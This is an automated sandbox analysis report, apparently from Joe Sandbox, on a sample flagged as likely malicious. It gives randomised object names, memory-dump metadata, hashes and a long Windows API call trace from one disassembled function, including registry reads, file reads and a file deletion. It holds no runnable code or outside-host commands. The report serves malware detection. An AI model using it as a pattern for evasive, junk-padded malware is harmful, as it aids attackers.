@Kb, xrefs: 00409A3A
MTXof3ud6l7, xrefs: 0040974A
ev_b0zdr3vy, xrefs: 00408F4D
j5x4g9fv, xrefs: 0040A109
ev_a1omfhth, xrefs: 00409FD9
WTMR_fgpk2fk9, xrefs: 00409D89
WTMR_dwetqb9q, xrefs: 00409830
s_edaxwnf3, xrefs: 004098F8
, xrefs: 004092D4
WTMR_78w4qbd1, xrefs: 004090CA
regz3ng76lm, xrefs: 00409939
ld69845a, xrefs: 00408D82
XMLp7zq6hpd, xrefs: 004097BB
regh8g8ymzd, xrefs: 00409865
s_l7h0j7hh, xrefs: 0040921D
SMPHR_54v71xzc, xrefs: 00408D4E
log: wpp1qg1g, xrefs: 00408F80
wys0sqbs, xrefs: 004095A7
log: e75fr607, xrefs: 0040A0A5
SMPHR_qve9sc61, xrefs: 00408F6C
0493px3x, xrefs: 0040968E
WTMR_kqes5vzg, xrefs: 00409DB3
reggh94y6zp, xrefs: 00409501
jx9rlonu, xrefs: 00409B93
e6id5kzq, xrefs: 00409E74
WTMR_8pdl3ake, xrefs: 0040A119
nrownhvr, xrefs: 0040A10E
SMPHR_5o29xzeu, xrefs: 00409DD7
SMPHR_tqjm2ao2, xrefs: 004095E7
3k7hgx69, xrefs: 00408FA5
xfylf0sx, xrefs: 00409061
igmuctqh, xrefs: 004091ED
2erf0dj3, xrefs: 0040912A
ai43jbch, xrefs: 00409407
WTMR_4szyizz9, xrefs: 00409564
SMPHR_vfug2oaz, xrefs: 0040926B
WTMR_9lkioe7l, xrefs: 00409C6D
regy0o3xoee, xrefs: 00409E03
log: m7n3cbp5, xrefs: 004090E7
ev_0v2cn7l9, xrefs: 00409891
44qq0gm4, xrefs: 00409EEA
xdex3ens, xrefs: 00409B98
log: le78o3o2, xrefs: 00408FF3
WTMR_o1qnrami, xrefs: 00409598
77g1341f, xrefs: 0040908A
iv8trhcy, xrefs: 00409179
s_hfevc2b1, xrefs: 00409738
reg9dsfo3ol, xrefs: 0040976F
regjoqxl736, xrefs: 00408E16
log: swycn4lp, xrefs: 00409D1D
log: u7uoku1q, xrefs: 00408E24
33hc1dth, xrefs: 0040908F
WTMR_95k5pe80, xrefs: 00408CEF
Jb, xrefs: 00409396
SMPHR_4synhqrg, xrefs: 00409E38
log: 3obkjrq2, xrefs: 00408DC6
ezpkm2q8, xrefs: 00409E79
regyqhmgqy9, xrefs: 00409641
log: spimqipm, xrefs: 004095C4
log: uul8s7sw, xrefs: 00408EBC
ev_8c1xuzik, xrefs: 00409579
reg5z82xpbh, xrefs: 00409116
815j1wlz, xrefs: 00409193
70xm9xiq, xrefs: 00409CB3
ev_octczqoy, xrefs: 004090A9
log: 8rag9eh1, xrefs: 00409ADF
MTXq62imfi0, xrefs: 00409D2D
, xrefs: 004092EC
WTMR_oayiq2ia, xrefs: 00408D1D
log: o2khivkx, xrefs: 00408D28
o9mxpdcv, xrefs: 00409066
log: qywjgu7q, xrefs: 00408F46
WTMR_hv02i9jg, xrefs: 00409B55
MTXv76qoe2t, xrefs: 0040915D
ev_avl6qzid, xrefs: 0040977B
log: vp1u3h02, xrefs: 00409668
s_u8w97cdk, xrefs: 00409EC4
regvl4dbtk4, xrefs: 00409B06
MTXpcn854lb, xrefs: 00408FE0
WTMR_lz8pg74f, xrefs: 00409CBE
log: jh6p6kiv, xrefs: 00408D02
log: jwkb6wdp, xrefs: 0040A136
WTMR_413a00ls, xrefs: 00409AC8
SMPHR_ou0rae7u, xrefs: 00409945
WTMR_ul30rpxb, xrefs: 004093D9
jkujg4jh, xrefs: 00409628
rf4he56r, xrefs: 00409D9D
xg8px2tt, xrefs: 00409174
MTX2drkm8rd, xrefs: 00409674
regwl2pxlqx, xrefs: 00409606
log: 0auxe75o, xrefs: 00409421
log: y14oe60y, xrefs: 00409264
log: l1oiul75, xrefs: 004097D7
MTXiufz48id, xrefs: 00409C46
, xrefs: 00409302
reglwbrodx2, xrefs: 00409BCB
SMPHR_38170rkg, xrefs: 00409CF2
s_99tkxjwz, xrefs: 0040A002
nin7k49o, xrefs: 00409693
SMPHR_n8q2izhe, xrefs: 00409B19
log: ag1hhbk5, xrefs: 00409073
l14f3a45, xrefs: 004092A6
ymi47e2b, xrefs: 004093F0
WTMR_k76j1v4z, xrefs: 00408FB9
regfbi0egzp, xrefs: 0040928C
ev_m1ezq15l, xrefs: 0040948B
reg0cv0wz1r, xrefs: 00409023
WTMR_l18srn31, xrefs: 0040907F
log: zge7qpar, xrefs: 0040919E
WTMR_amr2nff5, xrefs: 0040A0AC
34h4q7kp, xrefs: 004095AC
MTX63qs9twl, xrefs: 004091BF
log: jw1jb1si, xrefs: 00409C12
rnl692la, xrefs: 004091E8
SMPHR_p2gy3xgb, xrefs: 00409001
log: u7ptd00l, xrefs: 0040A040
regl6t0rwyx, xrefs: 00408F21
XMLninkf0eg, xrefs: 00408F2D
lfore89l, xrefs: 00409CAE
XMLa14ex98n, xrefs: 0040964D
667yip96, xrefs: 004092AB
MTX4fwt4x1h, xrefs: 00409459
SMPHR_kxv25cwl, xrefs: 004090EE
MTX07geyo2x, xrefs: 00408E43
caj3rli1, xrefs: 00408FA0
regv0y3u6p1, xrefs: 00408E82
WTMR_ebfea6sx, xrefs: 00409ED6
regn090c3xx, xrefs: 00409E57
log: 0yb5nyj5, xrefs: 0040903E
fa72f4c1fbe65cee8651140fd47267ba, xrefs: 004091B5
MTXb0wr6src, xrefs: 0040A02D
yeq0vrhq, xrefs: 00408DA5
a2srfcsn, xrefs: 00409125
XMLnw8aeve2, xrefs: 00409BA3

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$TimerWaitable$Semaphore$Event$Local$Release$EnvironmentOpenVariable$Mutex$DebugFindOutputString$Cancel$ErrorFileLast$AllocClose$Free$MappingReset$ChangeFirstNotification$lstrlen$ExitProcess$Handle$GlobalInitializeNameUser
String ID: $ $ $ $0493px3x$2erf0dj3$33hc1dth$34h4q7kp$3k7hgx69$44qq0gm4$4oxxpsvr$522iai98$667yip96$70xm9xiq$77g1341f$7i2wujn7$815j1wlz$9jmqre1g$9vfslg2w$@Kb$MTX07geyo2x$MTX2drkm8rd$MTX4fwt4x1h$MTX63qs9twl$MTX8vv1hn4i$MTX998j6kvi$MTXar22x0yy$MTXb0wr6src$MTXiufz48id$MTXof3ud6l7$MTXpcn854lb$MTXq62imfi0$MTXv76qoe2t$SMPHR_38170rkg$SMPHR_4synhqrg$SMPHR_54v71xzc$SMPHR_5o29xzeu$SMPHR_aehizd06$SMPHR_kxv25cwl$SMPHR_n8q2izhe$SMPHR_ou0rae7u$SMPHR_p2gy3xgb$SMPHR_qve9sc61$SMPHR_tqjm2ao2$SMPHR_vfug2oaz$WTMR_413a00ls$WTMR_4szyizz9$WTMR_57d2clue$WTMR_78w4qbd1$WTMR_8pdl3ake$WTMR_95k5pe80$WTMR_9lkioe7l$WTMR_amr2nff5$WTMR_dwetqb9q$WTMR_ebfea6sx$WTMR_fgpk2fk9$WTMR_hv02i9jg$WTMR_k76j1v4z$WTMR_kqes5vzg$WTMR_l18srn31$WTMR_lz8pg74f$WTMR_o1qnrami$WTMR_oayiq2ia$WTMR_qelnb61z$WTMR_ul30rpxb$WTMR_uq079nyf$WTMR_vyc7w63j$WTMR_z1rhej8n$XML0a3cowb1$XML1y4bkq5g$XML9uao9as9$XMLa14ex98n$XMLe3pezf9u$XMLl4a5buj5$XMLm39eti6v$XMLninkf0eg$XMLnw8aeve2$XMLp7zq6hpd$a2srfcsn$ahlik3kx$ai43jbch$bglof55d$bjx85mrq$caj3rli1$e6id5kzq$en30dqe2$ev_0v2cn7l9$ev_8c1xuzik$ev_a1omfhth$ev_avl6qzid$ev_b0zdr3vy$ev_karcuzqr$ev_m1ezq15l$ev_octczqoy$ev_yzt89ywi$ezpkm2q8$fa72f4c1fbe65cee8651140fd47267ba$g0snsw3f$igmuctqh$iv8trhcy$j5x4g9fv$jkujg4jh$jx9rlonu$k9j0ckbt$l14f3a45$ld69845a$lfore89l$ln1zhw62$log: 0auxe75o$log: 0yb5nyj5$log: 3obkjrq2$log: 8rag9eh1$log: ag1hhbk5$log: e75fr607$log: jh6p6kiv$log: jw1jb1si$log: jwkb6wdp$log: l1oiul75$log: le78o3o2$log: m7n3cbp5$log: o2khivkx$log: qywjgu7q$log: spimqipm$log: swycn4lp$log: tbwex0u8$log: u7ptd00l$log: u7uoku1q$log: uul8s7sw$log: vp1u3h02$log: wpp1qg1g$log: y14oe60y$log: zge7qpar$nin7k49o$nrownhvr$o9mxpdcv$reg0cv0wz1r$reg3jqw5o5x$reg50pgkijz$reg5z82xpbh$reg84w426gr$reg9dsfo3ol$regca6komzj$regcrpk6bdg$regfbi0egzp$reggh94y6zp$regh8g8ymzd$reghulaxc1b$regitr8hbdb$regjoqxl736$regl6t0rwyx$reglwbrodx2$regn090c3xx$regogz55ypc$regoqgjujut$regq48xume2$regs3rok2aj$regt7424gqc$regv0y3u6p1$regvl4dbtk4$regwl2pxlqx$regxew64tt5$regy0o3xoee$regy3ai60s0$regyqhmgqy9$regytjca5do$regz3ng76lm$rf4he56r$rnl692la$s_99tkxjwz$s_edaxwnf3$s_gq4j0j7r$s_gu2e2cow$s_hfevc2b1$s_l7h0j7hh$s_u8w97cdk$wys0sqbs$x8kzojap$xdex3ens$xfylf0sx$xg8px2tt$yeq0vrhq$ymi47e2b$yod8la10$Jb
API String ID: 2748490962-3732658285
Opcode ID: 5fec9184e1a938ca67776620d9306bf52c83f7ac9b501e0c912e873cc68b943d
Instruction ID: 1338b4d95b865af1f76ed9ca14dd78d1aaaebb4f64ae7488eae10a6b8ee73b14
Opcode Fuzzy Hash: 5fec9184e1a938ca67776620d9306bf52c83f7ac9b501e0c912e873cc68b943d
Instruction Fuzzy Hash: B6B26231684310BBE6206BA09D4EFDB7E68EB4CB51F108526F705F61D1CAF89950CBAD

Function 0040ACF1 Relevance: 778.4, APIs: 298, Strings: 146, Instructions: 1421
timesynchronizationregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(s_s7vtzzwh,?,?,00000000,00000001), ref: 0040AD0F
FindClose.KERNEL32(00000000), ref: 0040AD16
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_vk3imx2p), ref: 0040AD27
OutputDebugStringA.KERNEL32(log: zh92grdg), ref: 0040AD3A
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040AD41
GetLastError.KERNEL32 ref: 0040AD51
CreateMutexA.KERNEL32(00000000,00000000,MTXcgnckz19), ref: 0040AD5C
ReleaseMutex.KERNEL32(00000000), ref: 0040AD67
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_g2s91s1q), ref: 0040AD76
OutputDebugStringA.KERNEL32(log: tm2sd8o3), ref: 0040AD83
CancelWaitableTimer.KERNEL32(00000000), ref: 0040AD86
OutputDebugStringA.KERNEL32(log: n4rqy4pu), ref: 0040AD94
CreateEventA.KERNEL32(00000005,00000001,00000005,ev_djhwfwwe), ref: 0040ADA4
SetEvent.KERNEL32(00000000), ref: 0040ADAD
ResetEvent.KERNEL32(00000000), ref: 0040ADB4
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vks4zojj), ref: 0040ADC9
OutputDebugStringA.KERNEL32(log: u9chcop0), ref: 0040ADD3
CancelWaitableTimer.KERNEL32(00000000), ref: 0040ADDD
RegOpenKeyExA.KERNELBASE(80000001,reg5mq4umsq,00000000,00020019,0040E56B), ref: 0040ADF8
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000FCA,00000000), ref: 0040AE0C
CloseHandle.KERNEL32(00000000), ref: 0040AE13
LocalAlloc.KERNEL32(00000040,0000C350), ref: 0040AE20
LocalAlloc.KERNEL32(00000040,00000018), ref: 0040AE2D
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040AE3D
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_a3wb3mbt), ref: 0040AE85
CancelWaitableTimer.KERNEL32(00000000), ref: 0040AE88
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLjavzo8sx), ref: 0040AE99
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040AEA4
FindFirstFileA.KERNEL32(s_gr37g9eg,?), ref: 0040AEB6
FindClose.KERNEL32(00000000), ref: 0040AEBD
CreateMutexA.KERNEL32(00000000,00000000,MTXxnxq2g4u), ref: 0040AECC
ReleaseMutex.KERNEL32(00000000), ref: 0040AED7
RegOpenKeyExA.KERNELBASE(80000001,regasg5a7b8,00000000,00020019,0040E56B), ref: 0040AEF2
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000004DB,00000000), ref: 0040AF06
OutputDebugStringA.KERNEL32(log: g1n80ky4), ref: 0040AF13
CloseHandle.KERNEL32(00000000), ref: 0040AF16
SetEnvironmentVariableA.KERNEL32(u3r75ta9,ut5o8wzk), ref: 0040AF26
LocalAlloc.KERNEL32(00000000,00000AF5), ref: 0040AF33
LocalFree.KERNEL32(00000000), ref: 0040AF3A
RegOpenKeyExA.KERNELBASE(80000001,regej896r1v,00000000,00020019,?), ref: 0040AF55
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_w01wuxzg), ref: 0040AF66
RegOpenKeyExA.KERNELBASE(80000001,regzfbam5yq,00000000,00020019,?), ref: 0040AF83
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040AF8E
GetLastError.KERNEL32 ref: 0040AF98
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_hjy402y6), ref: 0040AFA3
SetEnvironmentVariableA.KERNEL32(uip2r83q,q6h45jcg), ref: 0040AFB5
CancelWaitableTimer.KERNEL32(00000000), ref: 0040AFC0
RegOpenKeyExA.ADVAPI32(80000001,reghwz38tv4,00000000,00020019,0040E56B), ref: 0040AFDD
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_50413huk), ref: 0040AFEE
SetEvent.KERNEL32(00000000), ref: 0040AFF5
StrStrW.SHLWAPI(?), ref: 0040B005
lstrlenW.KERNEL32(?), ref: 0040B07E
lstrlenW.KERNEL32(?), ref: 0040B089
StrToIntW.SHLWAPI(?), ref: 0040B0A0
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLltlzpp45), ref: 0040B0B4
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040B0BF
OutputDebugStringA.KERNEL32(log: uijgukd2), ref: 0040B0CA
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000215,00000000), ref: 0040B0DA
SetEnvironmentVariableA.KERNEL32(4hkujjgz,p8sv9va6), ref: 0040B0EC
CloseHandle.KERNEL32(00000000), ref: 0040B0F3
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_a9rmajmv), ref: 0040B104
SetEnvironmentVariableA.KERNEL32(52fhizyp,zuwwp523), ref: 0040B116
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040B121
FindFirstFileA.KERNEL32(s_slut2spb,?), ref: 0040B133
FindClose.KERNEL32(00000000), ref: 0040B13A
CreateMutexA.KERNEL32(00000000,00000000,MTX9om0q4fv), ref: 0040B149
GetLastError.KERNEL32 ref: 0040B155
ReleaseMutex.KERNEL32(00000000), ref: 0040B158
SetEnvironmentVariableA.KERNEL32(vv103cpy,fyvm78o7), ref: 0040B16A
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_cb1uu299), ref: 0040B17F
CancelWaitableTimer.KERNEL32(00000000), ref: 0040B182
OutputDebugStringA.KERNEL32(log: h533lra5), ref: 0040B18D
LocalAlloc.KERNEL32(00000000,00000C7A), ref: 0040B196
LocalFree.KERNEL32(00000000), ref: 0040B19D
RegOpenKeyExA.KERNELBASE(80000001,regd11k8nm3,00000000,00020019,?), ref: 0040B1B8
GetLastError.KERNEL32 ref: 0040B1BE
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_zav6ti39), ref: 0040B1C9
LocalFree.KERNEL32(?), ref: 0040B1CE
LocalAlloc.KERNEL32(00000040,?), ref: 0040B1DD
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_xi91ndgx), ref: 0040B1FD
SetEnvironmentVariableA.KERNEL32(wvivfg94,xgw5df8e), ref: 0040B20B
CancelWaitableTimer.KERNEL32(00000000), ref: 0040B212
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000074D,00000000), ref: 0040B226
CloseHandle.KERNEL32(00000000), ref: 0040B22D
GetLastError.KERNEL32 ref: 0040B233
SetEnvironmentVariableA.KERNEL32(u4m2d781,kc667epz), ref: 0040B242
CreateMutexA.KERNEL32(00000004,00000004,MTXwgvabenl), ref: 0040B254
OutputDebugStringA.KERNEL32(log: rlmqck6a), ref: 0040B265
ReleaseMutex.KERNEL32(00000000), ref: 0040B268
RegOpenKeyExA.ADVAPI32(80000001,regv9wc9k68,00000000,00020019,?), ref: 0040B285
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_ounbvp1g), ref: 0040B296
SetEvent.KERNEL32(00000000), ref: 0040B29F
ResetEvent.KERNEL32(00000000), ref: 0040B2A6
FindFirstFileA.KERNEL32(s_p4ycnpkx,?), ref: 0040B2B8
FindClose.KERNEL32(00000000), ref: 0040B2BF
LocalAlloc.KERNEL32(00000000,0000085F), ref: 0040B2CC
GetLastError.KERNEL32 ref: 0040B2D4
LocalFree.KERNEL32(00000000), ref: 0040B2D7
OutputDebugStringA.KERNEL32(log: ngifw4hg), ref: 0040B2E2
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_uq62tt57), ref: 0040B2ED
SetEnvironmentVariableA.KERNEL32(f8sc5yaw,51d7jo5m), ref: 0040B306
CancelWaitableTimer.KERNEL32(?), ref: 0040B310
SetEnvironmentVariableA.KERNEL32(e7ytlrou,84uo9fmm), ref: 0040B320
OutputDebugStringA.KERNEL32(log: s9phvpev), ref: 0040B329

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML3gtkb050), ref: 0040B336
FindFirstFileA.KERNEL32(s_bm2y05ug,?), ref: 0040B3EE
FindClose.KERNEL32(00000000), ref: 0040B3F5
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_y01h2ibv), ref: 0040B404
CancelWaitableTimer.KERNEL32(00000000), ref: 0040B40F
SetEnvironmentVariableA.KERNEL32(fg2ptiwf,zmggrllj), ref: 0040B41F
OutputDebugStringA.KERNEL32(log: m7kmt5r1), ref: 0040B428
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLfky632jo), ref: 0040B435
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040B440
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000AFF,00000000), ref: 0040B454
GetLastError.KERNEL32 ref: 0040B45C
CloseHandle.KERNEL32(00000000), ref: 0040B45F
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_az5vvlxq), ref: 0040B470
OutputDebugStringA.KERNEL32(log: e4kj0m20), ref: 0040B47D
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040B484
GetLastError.KERNEL32 ref: 0040B48E
OutputDebugStringA.KERNEL32(log: 0u7qc5gr), ref: 0040B497
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_f9rccmx4), ref: 0040B4A4
SetEvent.KERNEL32(00000000), ref: 0040B4AD
ResetEvent.KERNEL32(00000000), ref: 0040B4B4
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_m5lrh938), ref: 0040B4C9
CancelWaitableTimer.KERNEL32(00000000), ref: 0040B4CC
LocalFree.KERNEL32(?), ref: 0040B4D5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0040B4FA
LocalAlloc.KERNEL32(00000040,?), ref: 0040B50E
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040B523
LocalAlloc.KERNEL32(00000000,00000D43), ref: 0040B536
RegOpenKeyExA.ADVAPI32(80000001,regudmxaccv,00000000,00020019,?), ref: 0040B553
LocalFree.KERNEL32(00000000), ref: 0040B55A
GetLastError.KERNEL32 ref: 0040B560
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_s1za48z0), ref: 0040B573
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040B57A
RegOpenKeyExA.ADVAPI32(80000001,regru1qr65c,00000000,00020019,?), ref: 0040B599
SetEnvironmentVariableA.KERNEL32(9eilz4ir,zpan8dvs), ref: 0040B5AB
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLwroxmn7o), ref: 0040B5BC
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040B5C3
RegOpenKeyExA.ADVAPI32(80000001,regpwrexbmw,00000000,00020019,?), ref: 0040B5DE
FindFirstFileA.KERNEL32(s_gswidjlc,?), ref: 0040B5F0
FindClose.KERNEL32(00000000), ref: 0040B5F7
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_h7zkabvy), ref: 0040B608
SetEvent.KERNEL32(00000000), ref: 0040B611
ResetEvent.KERNEL32(00000000), ref: 0040B618
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_94qao1ul), ref: 0040B627
CancelWaitableTimer.KERNEL32(00000000), ref: 0040B62E
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00000000,00000000,00000000), ref: 0040B653
LocalFree.KERNEL32(?), ref: 0040B660
LocalFree.KERNEL32(00000001), ref: 0040B669
LocalFree.KERNEL32(?), ref: 0040B670
LocalFree.KERNEL32(?), ref: 0040B679
SetEnvironmentVariableA.KERNEL32(dyultzvq,sgbn61uw), ref: 0040B690
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000010E3,00000000), ref: 0040B6A4
GetLastError.KERNEL32 ref: 0040B6AC
CloseHandle.KERNEL32(00000000), ref: 0040B6AF
LocalAlloc.KERNEL32(00000000,00000587), ref: 0040B6BC
RegOpenKeyExA.ADVAPI32(80000001,regpdiu4smf,00000000,00020019,?), ref: 0040B6D9
LocalFree.KERNEL32(00000000), ref: 0040B6E0
OutputDebugStringA.KERNEL32(log: x47udiz8), ref: 0040B6EB
CreateMutexA.KERNEL32(00000000,00000000,MTX82lg856b), ref: 0040B6F6
GetLastError.KERNEL32 ref: 0040B6FE
ReleaseMutex.KERNEL32(00000000), ref: 0040B705
RegOpenKeyExA.ADVAPI32(80000001,regeqbot0vf,00000000,00020019,?), ref: 0040B720
GetLastError.KERNEL32 ref: 0040B728
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_wyrqgjyi), ref: 0040B735
SetEvent.KERNEL32(00000000), ref: 0040B73E
ResetEvent.KERNEL32(00000000), ref: 0040B745
FindFirstFileA.KERNEL32(s_icy0nkt4,?), ref: 0040B757
FindClose.KERNEL32(00000000), ref: 0040B75E
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML8tixmk21), ref: 0040B775
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040B77C
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_z23q321u), ref: 0040B78D
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040B794
GetLastError.KERNEL32 ref: 0040B79E
lstrlenA.KERNEL32(?), ref: 0040B7A4
lstrcpyn.KERNEL32(?,?,00000000), ref: 0040B7B5
LocalFree.KERNEL32(?), ref: 0040B7CC
LocalFree.KERNELBASE(?), ref: 0040B7D3
GetFileSize.KERNEL32(?,00000000), ref: 0040B7F0
LocalAlloc.KERNEL32(00000040,00000400), ref: 0040B802
RegOpenKeyExA.ADVAPI32(80000001,regb20lh6pl,00000000,00020019,?), ref: 0040B820
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_a96v12lz), ref: 0040B82F
SetEnvironmentVariableA.KERNEL32(25l4t7u9,d5zl6699), ref: 0040B841
CancelWaitableTimer.KERNEL32(00000000), ref: 0040B84C
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_1ki26yuz), ref: 0040B85B
CancelWaitableTimer.KERNEL32(00000000), ref: 0040B862
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_l1z0l00z), ref: 0040B873
SetEvent.KERNEL32(00000000), ref: 0040B87C
ResetEvent.KERNEL32(00000000), ref: 0040B883
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLe8moth3u), ref: 0040B894
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040B89F
CreateMutexA.KERNEL32(00000000,00000000,MTX6ozsop4h), ref: 0040B8AE
GetLastError.KERNEL32 ref: 0040B8BA
ReleaseMutex.KERNEL32(00000000), ref: 0040B8BD
GetLastError.KERNEL32 ref: 0040B8C3
lstrlenA.KERNEL32(00000000), ref: 0040B957
lstrcpyn.KERNEL32(00000000,00000000,00000001), ref: 0040B969
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040B98D
CloseHandle.KERNEL32(?), ref: 0040B9A2
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_301aff78), ref: 0040B9B3
SetEvent.KERNEL32(00000000), ref: 0040B9BC
ResetEvent.KERNEL32(00000000), ref: 0040B9C3
FindFirstFileA.KERNELBASE(s_ppq64u2y,?), ref: 0040B9D5
FindClose.KERNEL32(00000000), ref: 0040B9DC
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_xuffvx0r), ref: 0040B9EB
CancelWaitableTimer.KERNEL32(00000000), ref: 0040B9F2
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLu7vsecrb), ref: 0040BA09
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040BA10
GetLastError.KERNEL32 ref: 0040BA16
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_5pq56eyt), ref: 0040BA23
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040BA2A
OutputDebugStringA.KERNEL32(log: 4lk3sg0f), ref: 0040BA39
GetLastError.KERNEL32 ref: 0040BA3D
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000F0C,00000000), ref: 0040BA4D
GetLastError.KERNEL32 ref: 0040BA55
CloseHandle.KERNEL32(00000000), ref: 0040BA58
GetLastError.KERNEL32 ref: 0040BA5E
LocalAlloc.KERNEL32(00000000,00000249), ref: 0040BA67
LocalFree.KERNEL32(00000000), ref: 0040BA6E
CreateMutexA.KERNEL32(00000000,00000000,MTXjtyngfhk), ref: 0040BA7D
ReleaseMutex.KERNEL32(00000000), ref: 0040BA88
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_dh0rcwfk), ref: 0040BA97
SetEnvironmentVariableA.KERNEL32(xrc9odtk,xsguzti4), ref: 0040BAA9
CancelWaitableTimer.KERNEL32(00000000), ref: 0040BAB4
OutputDebugStringA.KERNEL32(log: 42nwun63), ref: 0040BAC1
LocalFree.KERNEL32(00000000), ref: 0040BACF
DeleteFileW.KERNEL32(00000000), ref: 0040BADE
LocalFree.KERNEL32(00000000), ref: 0040BAE7
LocalFree.KERNEL32(?), ref: 0040BAF0
